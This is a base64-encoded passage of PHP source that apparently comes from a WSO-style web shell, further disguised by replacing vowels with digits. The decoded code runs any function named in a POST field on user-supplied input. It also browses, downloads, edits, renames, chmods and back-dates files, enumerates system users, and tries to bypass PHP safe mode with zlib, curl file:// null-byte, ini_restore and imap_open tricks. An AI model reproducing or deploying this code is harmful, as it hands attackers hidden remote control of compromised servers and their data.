ncDFzdDVcJz5QMXN0NTwvMnB0NDJuPic7IH0NCiAgICA1Y2gyICc8L3M1bDVjdD4mbmJzcDs8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iPjwvdGQ+PHRkIGMybHNwMW49ImEiIDFsNGduPSJyNGdodCIgdzRkdGg9IjYiPjw0bnAzdCBuMW01PSJkNWYiIDRkPSJkNWYiIHYxbDM1PSI0bmQ1eC5waHAiIHM0ejU9IjYwIi8+Jm5ic3A7PDRucDN0IHR5cDU9ImIzdHQybiIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nXCcsXCdkNWYxYzVcJyxkMmMzbTVudC5nNXRFbDVtNW50QnlJZChcJ2Q1ZlwnKS52MWwzNSkiIHYxbDM1PSJBZGQgeTIzciBENWYxYzUiPjwvdGQ+PC90cj4NCiAgICA8L2Yycm0+PC90MWJsNT48L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCiAgICAgICAgJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQogICAgICAgICdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQogICAgICAgICdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCiAgICAgICAgJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KICAgICAgICAnRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsDQogICAgICAgICdzaDE2IGgxc2gnID0+ICdzaDE2JywNCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsDQogICAgICAgICdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KICAgICAgICAnSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KICAgICAgICAnSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KICAgICAgICAnREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCiAgICAgICAgJ0JJTiB0MiBIRVgnID0+ICdiNG5haDV4JywNCiAgICAgICAgJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLCAgICAgICAgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KICAgICAgICAnU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCiAgICAgICAgJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KICAgICk7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCiAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KICAgICAgICA1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4iPiBzNW5kIDNzNG5nIEFKQVg8YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii5odG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KICAgIH0NCiAgICA1Y2gyIjwvcHI1PjwvZDR2PiI7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNUMjJscygpIHsNCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQogICAgICAgICRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KICAgIDRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCiAgICAgICAgNGYoNHNfZjRsNSgkX1BPU1RbJ3A2J10pICYmIDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCiAgICAgICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAiLiR0eXA1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICJyIik7DQogICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICB3aDRsNSghQGY1MmYoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBAZnI1MWQoJGZwLCA2MGF1KTsNCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoNHNfZDRyKCRfUE9TVFsncDYnXSkgJiYgNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KDQogICAgICAgIH0NCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIDRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQogICAgICAgIHByNG50RjIydDVyKCk7DQogICAgICAgIHI1dDNybjsNCiAgICB9DQogICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSkpOw0KICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCiAgICA1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5TNHo1Ojwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3Y0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy52NDV3UDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCiAgICA1Y2gyICc8c3Axbj5DcjUxdDUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCiAgICA0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCiAgICA0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQogICAgZjJyNTFjaCgkbSAxcyAkdikNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCiAgICA1Y2gyICc8YnI+PGJyPic7DQogICAgc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KICAgICAgICBjMXM1ICd2NDV3JzoNCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3ByNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6DQogICAgICAgICAgICA0ZiggNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogYmwxY2s7YzJsMnI6YmwxY2s7Ij4nOw0KICAgICAgICAgICAgICAgICRjMmQ1ID0gaDRnaGw0Z2h0X2Y0bDUoJF9QT1NUWydwNiddLHRyMzUpOw0KICAgICAgICAgICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnY2htMmQnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICRwNXJtcyA9IDA7DQogICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkX1BPU1RbJ3BvJ10pLTY7JDQ+PTA7LS0kNCkNCiAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCiAgICAgICAgICAgICAgICA0ZighQGNobTJkKCRfUE9TVFsncDYnXSwgJHA1cm1zKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHM1dCBwNXJtNHNzNDJucyE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PmcobjNsbCxuM2xsLG4zbGwsbjNsbCwiIik8L3NjcjRwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5jaG0yZC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNobTJkIHYxbDM1PSInLnMzYnN0cihzcHI0bnRmKCclMicsIGY0bDVwNXJtcygkX1BPU1RbJ3A2J10pKSwtdSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnNWQ0dCc6DQogICAgICAgICAgICA0ZiggITRzX3dyNHQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICA1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgIEBmNGw1X3AzdF9jMm50NW50cygkX1BPU1RbJ3A2J10sJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNXhkM21wJzoNCiAgICAgICAgICAgICRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiAgICAgICAgICAgICRsNW4gPSBzdHJsNW4oJGMpOw0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQogICAgICAgICAgICAgICAgJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCiAgICAgICAgICAgICAgICBzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICA0ZiAoJG4gPT0gb2EpIHsNCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAkaFs2XSAuPSAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICRoW2FdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jcjVkPjx0cj48dGQgYmdjMmwycj1yNWQ+PHNwMW4gc3R5bDU9ImYybnQtdzU0Z2h0OiBuMnJtMWw7Ij48cHI1PicuJGhbMF0uJzwvcHI1Pjwvc3Axbj48L3RkPjx0ZCBiZ2MybDJyPSNyNWQ+PHByNT4nLiRoWzZdLic8L3ByNT48L3RkPjx0ZCBiZ2MybDJyPSNyNWQ+PHByNT4nLmh0bWxzcDVjNDFsY2gxcnMoJGhbYV0pLic8L3ByNT48L3RkPjwvdHI+PC90MWJsNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ3I1bjFtNSc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAndDIzY2gnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQogICAgICAgICAgICAgICAgNGYoJHQ0bTUpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYoQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQogICAgICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsbjNsbCxuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgICAgICAgICA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJ0YxNGwhPHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCE8c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnbWtmNGw1JzoNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgYnI1MWs7DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQogICAgJHQ1bXA9Jyc7DQogICAgMmJfc3QxcnQoKTsNCiAgICBzdzR0Y2goJF9QT1NUWydwNiddKSB7DQogICAgICAgIGMxczUgNjoNCiAgICAgICAgICAgICR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCiAgICAgICAgICAgIDRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KICAgICAgICAgICAgICAgIDNubDRuaygkdDVtcCk7DQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGE6DQogICAgICAgICAgICAkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgJGY0bDVuMW01LiJcbiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBvOg0KICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLlNFTEZfUEFUSCk7DQogICAgICAgICAgICBjM3JsXzV4NWMoJGNoKTsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IHU6DQogICAgICAgICAgICA0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQogICAgICAgICAgICA0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQogICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBpOg0KICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7DQogICAgICAgICAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDRmICgkMzRkKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBlOg0KICAgICAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnNG0xcF8ycDVuJykpYnI1MWs7DQogICAgICAgICAgICAkc3RyNTFtID0gNG0xcF8ycDVuKCRfUE9TVFsncGEnXSwgIiIsICIiKTsNCiAgICAgICAgICAgIDRmICgkc3RyNTFtID09IEZBTFNFKQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgNWNoMiA0bTFwX2IyZHkoJHN0cjUxbSwgNik7DQogICAgICAgICAgICA0bTFwX2NsMnM1KCRzdHI1MW0pOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgfQ0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgNWNoMiAnPHNwMW4+QzJweSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCI2Iix0aDRzLnAx